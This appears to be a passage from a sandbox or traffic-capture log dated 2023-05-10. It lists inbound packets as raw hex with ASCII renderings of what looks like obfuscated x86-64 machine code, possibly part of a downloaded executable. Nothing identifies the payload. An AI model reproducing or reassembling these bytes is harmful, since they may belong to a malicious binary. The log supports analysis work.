2023-05-10 00:21:18 UTC	6464	IN	Data Raw: 04 24 49 d3 ca 41 81 d2 d5 4a 4a 79 41 5a 48 63 c0 40 80 fc 72 f9 48 03 d8 e9 51 ef fe ff 48 8b 16 40 c0 ef b4 48 81 c6 08 00 00 00 49 33 d2 66 ff cf 40 0f 93 c7 66 0f be f8 48 ff ca 48 f7 d2 66 44 0f a3 f7 48 d1 ca 66 0f b6 fa e9 54 db f6 ff ff c0 f8 d1 c8 41 52 49 f7 d2 41 d2 c2 41 d2 e2 31 04 24 41 5a 48 63 c0 e9 2e 26 03 00 41 51 c3 66 45 0f 41 c0 66 44 89 53 08 66 44 0f b6 c1 45 0f bf c3 45 0f 46 c2 9c 41 c0 d0 da 66 45 0f a3 e8 45 0f bc c2 8f 03 49 81 eb 04 00 00 00 41 80 e0 fc 45 13 c5 45 8b 03 44 33 c6 41 3b d9 e9 18 9e fc ff 44 84 c3 48 81 c3 04 00 00 00 f9 f5 e9 6e 87 07 00 66 44 85 fe 41 33 fb 81 c7 d4 03 ad 12 e9 70 7a 03 00 c3 f9 48 63 c0 48 03 e8 e9 d9 f5 ff ff 48 d3 cb 41 d0 ca 41 f6 d2 41 d0 ca 0f b7 de 41 80 f2 16 80 c3 33 c0 f3 c1 45 32 Data Ascii: $IAJJyAZHc@rHQH@HI3f@fHHfDHfTARIAA1$AZHc.&AQfEAfDSfDEEFAfEEIAEED3A;DHnfDA3pzHcHHAAAA3E2
2023-05-10 00:21:18 UTC	6480	IN	Data Raw: 10 48 81 e5 82 1c a8 15 66 0b ec 40 d2 f5 49 8b 68 08 49 81 c0 0c 00 00 00 f9 33 c0 e9 70 b3 06 00 ff e6 ff c0 35 c8 26 54 0e f9 f7 d0 f5 41 52 31 04 24 66 41 d3 c2 45 2a d2 49 0f b3 e2 41 5a f8 48 f7 c4 14 49 a9 02 48 63 c0 41 80 fa 69 e9 20 ca 00 00 44 8b 5c 25 00 8b 7d 04 8a 4d 08 48 81 ed 02 00 00 00 f8 66 44 3b fd f9 41 0f ad fb 66 0f 4d ff 44 89 5d 08 9c 48 0f a4 e7 0d 66 40 0f b6 fd 48 0f ba f7 bb 8f 44 25 00 66 41 0f 4d fc 49 81 ea 04 00 00 00 41 8b 3a 84 f0 e9 85 08 08 00 c1 c8 02 0f c8 e9 8f c0 fb ff f7 db 81 c3 78 1b 79 73 f5 f7 d3 f5 d1 c3 41 53 31 1c 24 41 d3 db 41 5b f8 f9 48 63 db e9 80 b4 04 00 48 8b 1f 66 41 0f b6 d7 0f ba e2 4d 48 8b 57 08 f8 8a 4f 10 41 c0 f1 b2 48 81 c7 02 00 00 00 48 0f ad d3 41 f6 d1 48 89 5f 08 4d 0f b7 c8 4c 0f bf Data Ascii: Hf@IhI3p5&TAR1$fAE*IAZHIHcAi D\%}MHfD;AfMD]Hf@HD%fAMIA:xysAS1$AA[HcHfAMHWOAHHAH_ML
2023-05-10 00:21:18 UTC	6496	IN	Data Raw: 0f b7 c1 49 81 eb 04 00 00 00 41 d2 e8 66 44 0f bd c1 66 41 0f ac c0 a5 45 8b 03 f5 e9 96 81 fc ff e9 6b f8 08 00 e9 a8 34 fe ff 41 f6 d3 89 45 0c 41 f6 d3 9c 8f 44 25 00 49 0f a4 e3 3d 66 41 0f a3 f3 66 41 85 da 49 81 ea 04 00 00 00 45 0f b3 f3 41 c0 fb de 45 8b 1a f8 45 33 d9 e9 c9 6a 00 00 48 63 c0 40 3a f3 4c 03 d0 e9 ec 09 fb ff 41 ff c1 41 f6 c2 ca e9 a8 f5 f4 ff 48 8b 1f 66 0f b3 f1 40 8a 77 08 49 2b cc 80 cd 5b d3 d9 48 81 c7 0a 00 00 00 41 2a ca 26 40 88 33 45 84 e8 66 d3 f1 e9 ef 89 fa ff 49 81 e8 06 00 00 00 44 0f bd cc 66 44 0f b6 ca 45 0f b7 cd 66 41 d3 ea 66 45 89 50 08 45 0f bf cc 66 41 0f c9 9c 44 12 cc 4d 0f a3 e9 41 8f 00 66 44 1b cd 44 12 cd 48 81 eb 04 00 00 00 44 8b 0b 44 33 ce 41 f7 d9 40 f6 c4 90 49 81 fd 56 12 8a 59 41 0f c9 41 81 Data Ascii: IAfDfAEk4AEAD%I=fAfAIEAEE3jHc@:LAAHf@wI+[HA*&@3EfIDfDEfAfEPEfADMAfDDHDD3A@IVYAA
2023-05-10 00:21:18 UTC	6512	IN	Data Raw: 00 41 3a e8 e9 e9 14 01 00 48 81 c3 04 00 00 00 e9 5e c6 03 00 48 63 c0 4c 03 c8 e9 50 9f fa ff fc e9 2d 20 09 00 8b 4c 25 00 48 81 c5 04 00 00 00 48 0f bf f9 0f b6 03 66 d3 df 48 81 c3 01 00 00 00 f8 41 32 c3 fe c0 34 00 fe c8 40 c0 df f4 d0 c8 48 c1 f7 1b 44 32 d8 48 c1 ff eb 66 d3 df 89 0c 04 48 0f b3 ff 48 63 fc 41 0a fb 8b 3b 48 81 c3 04 00 00 00 41 33 fb 45 84 cf f8 66 44 3b d6 f7 df c1 c7 02 ff c7 4d 3b d6 f8 f7 d7 f8 e9 19 1a 01 00 ff ca 41 53 45 86 db 66 44 33 db e9 40 ea 04 00 41 59 41 d2 d6 44 0f bb e8 41 5c f7 d1 66 98 40 fe cd 5d 41 86 fa 66 41 33 c2 0f bc f7 59 48 98 41 b2 dc d3 f8 41 5a 48 98 2a fe 41 5e 5f 0f 9f c3 5e 9f 58 f5 49 0f b7 d9 41 58 41 5d e9 39 79 00 00 41 ff c0 e9 00 99 fb ff f6 d0 45 84 f7 f9 41 f6 d2 41 22 c2 45 0f bf d4 41 Data Ascii: A:H^HcLP- L%HHfHA24@HD2HfHHcA;HA3EfD;M;ASEfD3@AYADA\f@]AfA3YHAAZH*A^_^XIAXA]9yAEAA"EA
2023-05-10 00:21:18 UTC	6528	IN	Data Raw: af 0f f9 ff 49 8b e1 e9 a6 71 f5 ff 41 ff c9 41 0f c9 66 f7 c4 d8 7f f5 f9 41 53 66 41 81 db 8c 13 f9 44 31 0c 24 41 0f ac eb 22 41 5b e9 99 56 08 00 41 ff c9 e9 95 8f ff ff 49 89 78 08 66 41 0f 44 fa 40 b7 27 9c 40 80 d7 ba 48 c1 ff 59 41 0f bd fa 41 8f 00 0f ab cf e9 c3 ec f5 ff 41 ff c1 f8 41 f6 c0 6e f5 41 53 44 0f b7 dd 44 31 0c 24 66 44 0f bd d8 41 5b 4d 63 c9 f9 49 03 f1 e9 bd 93 04 00 49 03 d8 e9 d7 a0 07 00 f7 d1 e9 0d a7 f4 ff 41 ff c1 41 53 44 31 0c 24 66 41 0f a4 fb 33 41 0f a3 e3 41 5b 4d 63 c9 e9 a6 53 fc ff 41 0f cb 41 ff cb 66 44 3b dc f9 40 80 fd 89 41 f7 d3 40 3a e5 41 81 c3 10 11 db 4a 44 84 e3 48 a9 f5 5e 73 5f 41 52 66 41 0f ac ea 41 44 31 1c 24 f5 45 0f c0 d2 41 5a 4d 63 db 41 f7 c0 bb 0f 96 7a 49 03 db e9 a9 14 fc ff c3 41 81 f2 9e Data Ascii: IqAAfASfAD1$A"A[VAIxfAD@'@HYAAAAnASDD1$fDA[McIIAASD1$fA3AA[McSAAfD;@A@:AJDH^s_ARfAAD1$EAZMcAzIA
2023-05-10 00:21:18 UTC	6544	IN	Data Raw: 00 00 00 45 8b 1a f9 44 3a d7 45 33 d9 66 45 3b ca 41 f7 c7 44 41 e6 14 41 f7 db 41 81 eb 02 58 da 6d 41 f7 d3 e9 92 23 ff ff 41 f7 d3 66 0f bd c4 49 63 c2 41 81 f3 b8 41 01 59 41 ff c3 41 51 41 1a c6 41 c0 d1 9e 0f 9a c0 44 31 1c 24 44 0f bb c8 66 45 0f a4 f9 f0 41 59 48 81 ef 04 00 00 00 23 c0 44 89 1f 66 f7 c7 e6 4d 66 98 66 40 0f b6 c6 48 81 ed 04 00 00 00 48 63 c6 8b 44 25 00 41 33 c1 e9 c1 c8 f7 ff f7 d1 ff c1 41 84 c9 f8 66 f7 c4 ca 43 53 48 0f bf df 31 0c 24 40 02 dc 40 22 dd 80 ef 58 5b f8 48 63 c9 f9 4c 03 d1 e9 23 a1 fc ff 0f c9 e9 07 71 01 00 41 f7 d1 41 ff c9 41 f7 d9 f5 41 3a fd 41 81 e9 9c 09 de 1a f5 41 53 49 d3 db 44 0a da 41 0f ba f3 2e 44 31 0c 24 41 5b f9 41 84 c5 e9 85 15 fc ff 53 c3 c3 e9 db f6 fd ff 41 ff c0 f9 41 80 fa 9e f5 41 81 Data Ascii: ED:E3fE;ADAAAXmA#AfIcAAYAAQAAD1$DfEAYH#DfMff@HHcD%A3AfCSH1$@@"X[HcL#qAAAA:AASIDA.D1$A[ASAAA
2023-05-10 00:21:18 UTC	6560	IN	Data Raw: bf f5 66 0f 4d f5 f7 f1 40 f6 d6 48 0f bf f7 89 57 08 89 47 0c 41 8b f1 9c 0f a3 ce 0f ab e6 8f 07 8b 74 25 00 48 81 c5 04 00 00 00 e9 14 3c f8 ff ff ce f9 81 f6 33 4d 2a 43 48 f7 c5 c5 25 19 6c f9 81 c6 e1 7f c7 54 48 85 e7 f9 81 f6 d4 6a 2d 0e f6 c1 7e 41 53 66 41 0f cb 31 34 24 66 41 0f ab fb 66 44 13 d9 49 d3 cb 41 5b 48 63 f6 44 84 dd 66 41 81 fc 57 48 f9 4c 03 d6 e9 be f9 fd ff f7 d1 e9 1e 07 f6 ff 53 66 0f be dc 31 0c 24 48 0f ab e3 5b 48 63 c9 4c 03 d1 e9 3f 0b f6 ff 41 ff e3 41 ff c1 f8 41 53 44 31 0c 24 49 0f cb 41 d2 d3 41 5b f5 4d 63 c9 f8 49 03 f1 e9 ff 87 05 00 ff c7 49 f7 c2 ac 50 71 0a 0f cf f8 66 41 81 fa ab 35 41 52 41 3a c7 45 84 f4 31 3c 24 41 5a 80 f9 b1 f5 66 44 3b f8 48 63 ff 48 03 df e9 60 37 03 00 44 8b 44 25 00 8a 4d 04 41 d2 f9 Data Ascii: fM@HWGAt%H<3M*CH%lTHj-~ASfA14$fAfDIA[HcDfAWHLSf1$H[HcL?AAASD1$IAA[McIIPqfA5ARA:E1<$AZfD;HcH`7DD%MA
2023-05-10 00:21:18 UTC	6576	IN	Data Raw: 00 66 45 1b ce 41 d3 f9 49 0f ab c9 44 03 c7 66 44 0f b6 ca 44 89 45 08 e9 ba 19 01 00 ff e3 e9 9d 48 05 00 ff c8 56 40 d2 de 48 33 f5 f8 31 04 24 41 1b f4 f5 5e 48 63 c0 48 03 e8 e9 a4 a7 fa ff 48 0f ce 2c db 1c 68 48 f7 de 0f c8 86 c0 48 ff c6 66 f7 d8 e9 a5 78 02 00 66 41 0f b6 10 66 0f ba f0 bb 48 c1 e8 97 41 8a 48 02 41 0f b7 c0 49 81 e8 06 00 00 00 c0 ec d9 40 84 f8 d2 e2 0f bf c0 66 41 89 50 08 e9 5b 9c f8 ff 49 8b 28 66 f7 c5 75 43 66 0f ba e2 eb 66 41 8b 50 08 e9 63 b5 fc ff 49 81 c1 04 00 00 00 f9 44 33 db f5 41 c1 cb 03 e9 43 fa 02 00 89 1f c0 cb 49 41 02 db 4c 0f ab db 41 8b 18 49 81 c0 04 00 00 00 33 de 4d 85 ff f7 db e9 38 d7 03 00 48 8b 7c 25 00 41 80 e0 f2 48 81 c5 08 00 00 00 44 0f bf c7 44 0f b7 c5 4c 8b c7 41 0f b7 ff 48 8b fd e9 c3 3c Data Ascii: fEAIDfDDEHV@H31$A^HcHH,hHHfxfAfHAHAI@fAP[I(fuCffAPcID3ACIALAI3M8H\|%AHDDLAH<
2023-05-10 00:21:18 UTC	6592	IN	Data Raw: f5 e9 f4 c4 03 00 e9 e3 d4 04 00 ff c9 56 48 c1 de f8 49 0f bd f2 31 0c 24 40 d2 f6 5e f9 48 63 c9 4c 03 d9 e9 ab d7 05 00 66 40 0f b6 fe 9c 40 80 cf 62 40 2a fc 8f 44 25 00 66 d3 d7 40 80 d7 cc c1 cf 9e 49 81 ea 04 00 00 00 41 32 ff 41 8b 3a 41 33 f9 f9 e9 40 1f 00 00 ff cb 45 84 e8 f5 81 f3 a9 1e ee 4c f7 db e9 9d 9e ff ff f7 df 66 41 f7 c7 4a 61 53 66 0f bc d8 31 3c 24 d2 f7 66 0f bb c3 5b 41 f6 c7 30 f9 48 63 ff 66 41 f7 c1 f7 31 4c 03 d7 e9 bd c5 ff ff 81 ee ce 4f fe 00 f8 c1 c6 03 3b f5 f7 de 41 53 41 f6 c1 3c 41 f7 d3 f5 31 34 24 49 f7 db f9 41 5b 48 63 f6 f9 f8 4c 03 d6 e9 ae be f4 ff 56 c3 41 ff e3 49 ff ca e9 a3 c6 f5 ff 49 81 ea 01 00 00 00 f9 80 da 38 41 0f b6 2a 41 32 eb 40 d0 cd 66 0f ba e2 d9 40 80 f5 65 66 81 cf 7b 4b 40 80 ed da 40 d0 cd Data Ascii: VHI1$@^HcLf@@b@D%f@IA2A:A3@ELfAJaSf1<$f[A0HcfA1LO;ASA<A14$IA[HcLVAII8AA2@f@ef{K@@
2023-05-10 00:21:18 UTC	6608	IN	Data Raw: b7 c6 89 7d 08 41 f6 d0 45 0f b7 c2 66 44 0f b6 c6 9c 45 0f c0 c0 44 0f bc c5 f5 8f 44 25 00 66 45 2b c6 49 0f b3 c0 44 8b 06 45 3a e1 40 f6 c4 66 f8 48 81 c6 04 00 00 00 45 33 c2 e9 07 fa f8 ff 00 00 00 00 00 00 00 e6 34 a4 42 70 04 a3 35 ca 55 aa ac 5c 65 ad db ff f0 c9 45 69 c0 ce 32 d3 91 c7 ab 45 a1 c0 dc d4 bc 7f 4c 42 8c 78 3b f8 dd 71 a2 6e ed 76 d5 cd 78 12 4b 5b 48 15 3c e1 19 1c a5 77 29 1b d2 82 24 13 5f 14 14 14 28 ae 45 1d b1 38 75 1a c6 9b e0 7e 58 0d d0 79 2f b7 81 70 b6 21 b1 77 c1 b0 ac c8 51 26 9c cf 26 9c cd c6 bf 0a fd c1 c8 a9 68 a5 56 3f 58 a2 21 85 09 ab b8 13 39 ac cf 2e 14 ca 79 b8 24 cd 0e 02 75 c4 97 94 45 c3 e0 37 d0 a7 7e a1 e0 a0 09 1b b1 a9 90 8d 81 ae e7 1c 9c 11 77 8a ac 16 00 30 fd 1f 99 a6 cd 18 ee 05 58 7c 70 93 68 7b Data Ascii: }AEfDEDD%fE+IDE:@fHE34Bp5U\eEi2ELBx;qnvxK[H<w)$_(E8u~Xy/p!wQ&&hV?X!9.y$uE7~w0X\|ph{
2023-05-10 00:21:18 UTC	6624	IN	Data Raw: 48 0f ad f0 48 89 45 08 66 98 9c 24 34 48 d3 e8 8f 44 25 00 49 81 ea 04 00 00 00 d2 c0 41 8b 02 40 80 fe cf 41 33 c1 2d 2a 4f 2d 14 f8 d1 c8 ff c8 c1 c0 02 f9 f8 41 51 e9 bc 4b 04 00 41 89 41 08 66 0f c8 86 e0 9c 66 c1 d8 76 d2 f8 41 8f 01 44 0f ab e8 49 81 ea 04 00 00 00 41 8b 02 48 81 fd a9 48 a4 6e 41 33 c3 ff c0 0f c8 d1 c8 f7 d0 41 53 45 86 db 31 04 24 41 0f a4 e3 2c 41 5b f6 c6 58 f8 48 63 c0 f8 e9 19 41 f9 ff ff ca f5 c1 c2 03 40 80 fe f6 f8 f5 41 53 f5 41 fe cb 31 14 24 41 5b 41 84 f1 41 3b cc f8 48 63 d2 66 41 81 fd d9 25 66 41 85 ea 48 03 f2 e9 8b ca fc ff 41 ff ca e9 16 7b fe ff 4d 8b 01 48 0f ba fb 2a 40 d2 f7 48 c1 d3 f7 41 8a 79 08 8a f8 e9 8e 98 00 00 48 8b 54 25 00 66 41 81 ff 11 4b 81 ef 29 62 4b 32 48 8b 7d 08 48 f7 d2 48 f7 d7 48 0b d7 Data Ascii: HHEf$4HD%IA@A3-O-AQKAAffvADIAHHnA3ASE1$A,A[XHcA@ASA1$A[AA;HcfA%fAHA{MH@HAyHT%fAK)bK2H}HHH
2023-05-10 00:21:18 UTC	6640	IN	Data Raw: 53 f7 d7 c1 cf 02 ff cf e9 45 5a f3 ff f5 48 63 c9 4c 03 d9 e9 ce 97 fe ff 0f cf 41 84 c9 40 80 fe 6f 53 44 0f a3 d3 49 0f b7 d9 66 c1 d3 2f 31 3c 24 f7 d3 66 ff cb 5b 48 63 ff 4c 03 d7 e9 a1 e7 f5 ff 48 8b 17 41 13 c3 36 48 8b 02 48 89 07 41 32 c6 66 0f be c4 b8 8d 69 8b 29 8b 44 25 00 44 3b f3 48 81 c5 04 00 00 00 f5 f9 f8 41 33 c3 05 42 75 fd 70 f7 d8 2d ec 1b 73 0a c1 c8 03 e9 df 34 fc ff 49 03 f2 e9 19 00 04 00 f9 41 d1 c1 41 81 c1 4e 72 0e 69 41 f7 d9 41 80 f8 55 f6 c4 19 66 44 3b cd 41 81 e9 13 7f 7d 1f f5 f8 41 d1 c1 e9 c3 3f 01 00 66 41 8b 10 40 c0 f6 b5 48 ff c6 49 81 c0 02 00 00 00 40 d2 cd 81 d6 c1 7f d4 62 41 0f b6 29 40 c0 ee ea 49 81 c1 01 00 00 00 40 80 e6 93 40 32 eb 40 d2 c6 40 d2 d6 40 d0 c5 40 f6 d6 40 fe cd e9 d0 bd f4 ff f9 41 33 cb Data Ascii: SEZHcLA@oSDIf/1<$f[HcLHA6HHA2fi)D%D;HA3Bup-s4IAANriAAUfD;A}A?fA@HI@bA)@I@@2@@@@@A3
2023-05-10 00:21:18 UTC	6656	IN	Data Raw: d3 e3 66 44 0f b3 eb 66 87 db 89 17 48 d3 fb 41 8b 18 66 3b c4 49 81 c0 04 00 00 00 f8 33 de f8 f7 db f8 f9 81 f3 ec 1b 51 0a f7 db f8 e9 dd 0f 06 00 e9 5a 78 06 00 41 f6 c1 25 f7 d2 23 c2 41 89 41 08 66 0f b6 c3 c6 c4 78 48 0f bf c5 9c 41 8f 01 66 b8 09 61 49 81 ea 04 00 00 00 02 c6 49 0f 4b c2 41 8b 02 41 33 c3 e9 70 bd fe ff 66 41 8b 28 66 44 0f bd db 66 d3 f6 66 45 8b 58 02 40 22 f4 49 81 e8 06 00 00 00 66 81 ce 95 26 48 c7 c6 81 1c 68 5f 66 f7 d5 41 80 f8 1c 40 c0 d6 86 40 80 ee cf 66 41 f7 d3 66 0f c1 f6 66 41 0b eb e9 00 bc f7 ff 49 81 ea 01 00 00 00 48 63 d3 40 80 d7 92 40 80 c7 ed 41 0f b6 2a 41 32 eb 40 c0 cf 66 40 d0 cd 66 d3 da 40 c0 d7 93 40 80 f5 65 c0 d6 67 66 44 0f bb f7 40 80 ed da 40 d0 cd 48 0f ac da 54 48 63 d5 80 ca 8c 44 32 dd 66 0f Data Ascii: fDfHAf;I3QZxA%#AAfxHAfaIIKAA3pfA(fDffEX@"If&Hh_fA@@fAffAIHc@@A*A2@f@f@@egfD@@HTHcD2f
2023-05-10 00:21:18 UTC	6672	IN	Data Raw: 41 53 44 31 14 24 66 45 0f 48 d9 41 5b 4d 63 d2 66 41 3b ce 49 03 f2 e9 e5 68 00 00 41 ff c3 41 d1 c3 81 f9 85 3e d4 6a f9 41 81 c3 e4 23 bd 1a 56 40 d2 ce 3c fc 44 31 1c 24 40 c0 ee 74 5e f5 f9 41 80 f9 df 4d 63 db 40 f6 c5 44 4d 03 cb e9 15 6a fc ff 41 ff c2 41 d1 c2 e9 8f 23 fc ff 0f 85 39 46 f3 ff 48 8b 44 25 00 48 81 ec 20 00 00 00 ff d0 48 8b 64 25 f0 44 3a db 41 81 ea dd 7e d1 0e 66 45 0f a3 f2 48 8b 6c 25 f8 48 89 44 25 00 44 0f b7 d2 2a d9 4c 8b c5 80 e3 4f 66 c1 e8 4a 66 41 c1 e1 6e 5b 44 86 d0 41 fe c2 66 45 0f b6 d5 41 5a 98 66 98 41 59 66 d3 d0 c0 fc e3 c0 d8 f7 41 8b 01 44 84 cd 49 81 c1 04 00 00 00 49 3b f7 44 84 eb 33 c3 f8 66 41 81 f9 cc 12 35 34 1d 7d 7d f8 f7 d8 e9 89 81 f5 ff 4c 8b 54 25 00 66 45 0f a3 c1 49 0f c9 41 d2 d9 36 4d 8b 0a Data Ascii: ASD1$fEHA[McfA;IhAA>jA#V@<D1$@t^AMc@DMjAA#9FHD%H Hd%D:A~fEHl%HD%D*LOfJfAn[DAfEAZfAYfADII;D3fA54}}LT%fEIA6M
2023-05-10 00:21:18 UTC	6688	IN	Data Raw: 00 00 66 89 54 25 00 40 12 c6 c0 f4 40 66 35 25 1d 8b 03 41 80 ff 86 48 81 c3 04 00 00 00 41 33 c3 ff c8 f5 f7 d0 f9 e9 6e 4f 04 00 89 4f 08 9c f5 8f 07 41 8b 08 49 81 c0 04 00 00 00 40 3a f6 40 80 ff bc e9 b2 79 02 00 ff cb f9 41 80 ff e3 f5 f7 db f5 0f cb f5 81 f3 bd 21 87 28 48 f7 c4 69 42 8e 35 e9 58 90 f6 ff e9 69 61 fa ff e9 5c b7 fb ff 81 ee 65 18 24 1c f7 de 66 44 85 d2 f7 d6 66 41 81 fc 48 7a 41 53 45 13 da 66 45 87 db 66 41 d3 eb 31 34 24 66 41 0f ba f3 f9 45 02 d8 49 c1 f3 88 41 5b f9 48 63 f6 4c 03 d6 41 52 c3 41 ff e2 41 53 c3 f7 de 66 41 85 f5 81 ee fc 5a 25 5f 40 f6 c4 c8 e9 fa 76 fa ff f5 c1 c2 02 45 3a e1 81 c2 15 08 3c 75 f8 f5 d1 c2 f6 c6 f4 81 f2 35 49 65 01 40 80 fe d1 f8 f7 da 49 f7 c6 db 34 08 32 66 41 85 c7 0f ca f8 40 80 ff 9c 81 Data Ascii: fT%@@f5%AHA3nOOAI@:@yA!(HiB5Xia\e$fDfAHzASEfEfA14$fAEIA[HcLARAASfAZ%_@vE:<u5Ie@I42fA@
2023-05-10 00:21:18 UTC	6704	IN	Data Raw: 66 44 0f ab ee c1 de f2 66 c1 c6 24 49 81 ea 04 00 00 00 41 8b 32 41 33 f1 e9 3d 0f 02 00 40 d0 c5 e9 02 ff 01 00 ff ca 66 41 f7 c3 92 6a 41 51 31 14 24 66 41 c1 c9 d7 f5 e9 0f 9e fa ff 66 44 85 ff 81 c6 de 7a fe 1f f8 f5 53 31 34 24 d2 db 86 df 66 0f be de 5b 40 3a f3 f8 48 63 f6 44 84 d5 4c 03 d6 e9 db 5d f6 ff 41 52 c3 45 33 d1 41 80 fe 16 f8 45 84 d0 41 81 ea 67 72 4b 2d 41 0f ca f8 4d 85 e2 41 f7 d2 f5 e9 71 90 05 00 44 3a df 41 f7 d8 41 81 f0 63 1c dc 79 f9 56 45 84 d3 44 31 04 24 66 2b f6 5e e9 52 db fb ff 49 d3 c2 66 41 d1 c1 66 41 81 c1 93 0a 41 d2 da 41 b2 31 66 41 d1 c9 66 41 81 c1 79 58 66 41 0f ca 66 41 f7 d9 66 41 33 f1 4c 0f bf d4 4d 0f b7 d6 49 81 e8 02 00 00 00 4d 13 d0 66 45 89 08 4d 0f c1 d2 48 81 eb 04 00 00 00 4c 63 d6 e9 fd bf 00 00 Data Ascii: fDf$IA2A3=@fAjAQ1$fAfDzS14$f[@:HcDL]ARE3AEAgrK-AMAqD:AAcyVED1$f+^RIfAfAAA1fAfAyXfAfAfA3LMIMfEMHLc
2023-05-10 00:21:18 UTC	6720	IN	Data Raw: c2 a1 fa ff 41 0a c5 41 22 f3 48 98 0f b7 c4 66 89 77 08 9c c0 e4 99 66 0f 4b c7 66 13 c0 8f 07 f9 66 0f ba e0 b2 48 81 ed 04 00 00 00 48 0f bc c3 40 1a c6 8b 44 25 00 f8 41 33 c1 f9 0f c8 f9 f5 e9 db 69 04 00 8b 44 25 00 c0 f9 b9 8a 4d 04 40 3a cf f5 f8 48 81 ed 06 00 00 00 d3 e8 e9 87 cc 03 00 48 81 c3 04 00 00 00 3a cf f9 66 a9 c6 3a 45 33 d3 e9 0e c4 f8 ff 41 52 41 d3 f2 44 31 0c 24 41 5a 41 80 fc f5 4d 63 c9 e9 1b 9f ff ff ff cf e9 b2 d3 f8 ff 41 0f c8 f5 41 81 c0 92 16 56 1d e9 1e 68 ff ff 48 8b 6c 25 00 41 80 f1 1b 44 8b 0b 66 41 85 e5 48 81 c3 04 00 00 00 45 33 cb f7 c6 48 67 65 13 80 fd 4f 41 81 f1 61 17 31 51 41 ff c9 41 f7 d1 e9 e5 01 fe ff 48 8b 07 66 45 8b c7 8b 4f 08 e9 79 3d fd ff 48 8b 0f d2 fe 0f bf d4 66 41 f7 d3 8b 57 08 44 84 df 48 81 Data Ascii: AA"HfwfKffHH@D%A3iD%M@:HH:f:E3ARAD1$AZAMcAAVhHl%ADfAHE3HgeOAa1QAAHfEOy=HfAWDH
2023-05-10 00:21:18 UTC	6736	IN	Data Raw: f6 c5 79 f5 81 f1 b2 53 c5 1f e9 46 4b 03 00 8b 6c 25 00 41 d2 f3 49 81 ea 04 00 00 00 45 8b 1a f9 f5 45 33 d9 e9 01 21 f1 ff e9 8e b6 fb ff 41 52 c3 66 41 8b 10 66 45 8b 50 02 66 0f b3 f1 f5 41 0b ca 49 81 e8 06 00 00 00 c6 c5 b7 66 41 03 d2 66 41 0f be cd 41 0f bf ce 48 0f bf c8 66 41 89 50 08 66 40 0f b6 cc 66 b9 2e 3c 9c 66 41 0b cd 80 e5 ec 66 0f c9 41 8f 00 49 2b c9 48 81 eb 04 00 00 00 8b 0b f9 e9 e2 42 04 00 f8 41 f7 db f8 41 0f cb 41 d1 cb 41 ff cb 56 f7 de 40 80 e6 e8 48 81 ce 46 08 3c 0e 44 31 1c 24 5e 4d 63 db 45 3b dc 4d 03 cb e9 13 20 f6 ff 41 52 c3 f8 4c 03 d1 e9 27 94 02 00 ff cd f8 d1 c5 f9 0f cd e9 3c bd f7 ff f9 4c 03 d8 e9 dd f3 02 00 41 f7 d3 e9 fb 41 f8 ff f8 f9 d1 ce f7 de 41 3a de 41 51 66 45 03 cb 31 34 24 66 41 85 cf 41 59 e9 13 Data Ascii: ySFKl%AIEE3!ARfAfEPfAIfAfAAHfAPf@f.<fAfAI+HBAAAAV@HF<D1$^McE;M ARL'<LAAA:AQfE14$fAAY
2023-05-10 00:21:18 UTC	6752	IN	Data Raw: f5 fe 0b 7f 35 f8 e9 85 f3 f2 ff 49 8b f8 49 81 e8 02 00 00 00 41 32 c5 66 c1 c8 d5 66 41 89 38 80 c4 68 41 f6 c5 f3 48 81 eb 04 00 00 00 40 8a c7 8b 03 45 3a f5 33 c6 e9 c8 20 f1 ff f8 81 f5 5d 07 e0 0f f9 c1 c5 03 f8 e9 e2 ce 04 00 81 f1 5e 3b d3 50 41 80 f8 c3 f7 d9 e9 d4 28 04 00 f7 d1 e9 8a 25 f9 ff ff cf c1 c7 03 41 51 66 41 b9 cf 40 49 ff c9 41 c0 d9 6f 31 3c 24 e9 8c b6 ff ff f7 d5 f7 d0 23 e8 89 6f 08 66 0f be e8 40 0f 93 c5 9c 41 0f bf eb 66 0f ba e5 3f 48 0f bf e9 8f 07 66 0f a3 e5 41 8b 28 f6 c3 f5 49 81 c0 04 00 00 00 66 f7 c4 81 0a 33 ee c1 c5 02 41 3a d9 e9 80 0f f2 ff 48 8b 0b 66 0f ab df 66 41 f7 c5 e1 36 41 80 f8 fa 48 8b 7b 08 44 3a d2 f8 48 81 c3 0c 00 00 00 45 3b ec f5 45 2b c9 41 3b f6 e9 24 4c f5 ff e9 da 33 fa ff 45 8a d0 44 8b 13 Data Ascii: 5IIA2ffA8hAH@E:3 ]^;PA(%AQfA@IAo1<$#of@Af?HfA(If3A:HffA6AH{D:HE;E+A;$L3ED
2023-05-10 00:21:18 UTC	6768	IN	Data Raw: fd 48 03 de e9 76 61 fd ff 53 c3 41 f7 d0 e9 9e a2 f2 ff 0f 85 7f c2 fd ff 48 8b c8 e9 43 06 f6 ff ff c2 d1 ca 41 84 cf e9 e1 27 ff ff 4c 8b cd 48 81 ed 02 00 00 00 66 44 89 4c 25 00 41 0f b7 c3 8b 06 f5 48 81 c6 04 00 00 00 49 81 fb dc 0f d2 58 f5 41 33 c2 35 fb 61 76 16 05 21 0c f4 5c 45 3a f2 e9 b9 d5 fc ff e9 24 b8 04 00 41 d1 c3 f5 41 0f cb f8 41 3a c5 41 51 66 41 81 d1 f8 2f 44 31 1c 24 41 59 66 41 81 f8 b6 28 66 41 f7 c3 5d 5d 4d 63 db f9 e9 66 7e f1 ff 49 8b 10 36 66 44 8b 1a c0 cd a7 49 81 c0 06 00 00 00 48 0b cc 66 44 0f ab e1 66 81 c9 0f 3b 66 45 89 18 41 8b 09 49 81 c1 04 00 00 00 66 41 3b c2 33 cb 49 f7 c4 96 3a 75 30 0f c9 41 80 ff 73 81 c1 57 59 39 21 f5 d1 c9 e9 a5 7d 00 00 f5 48 03 df e9 70 33 f1 ff 41 ff e1 f7 d8 0f c8 c1 c0 03 41 52 4c Data Ascii: HvaSAHCA'LHfDL%AHIXA35av!\E:$AAA:AQfA/D1$AYfA(fA]]Mcf~I6fDIHfDf;fEAIfA;3I:u0AsWY9!}Hp3AARL
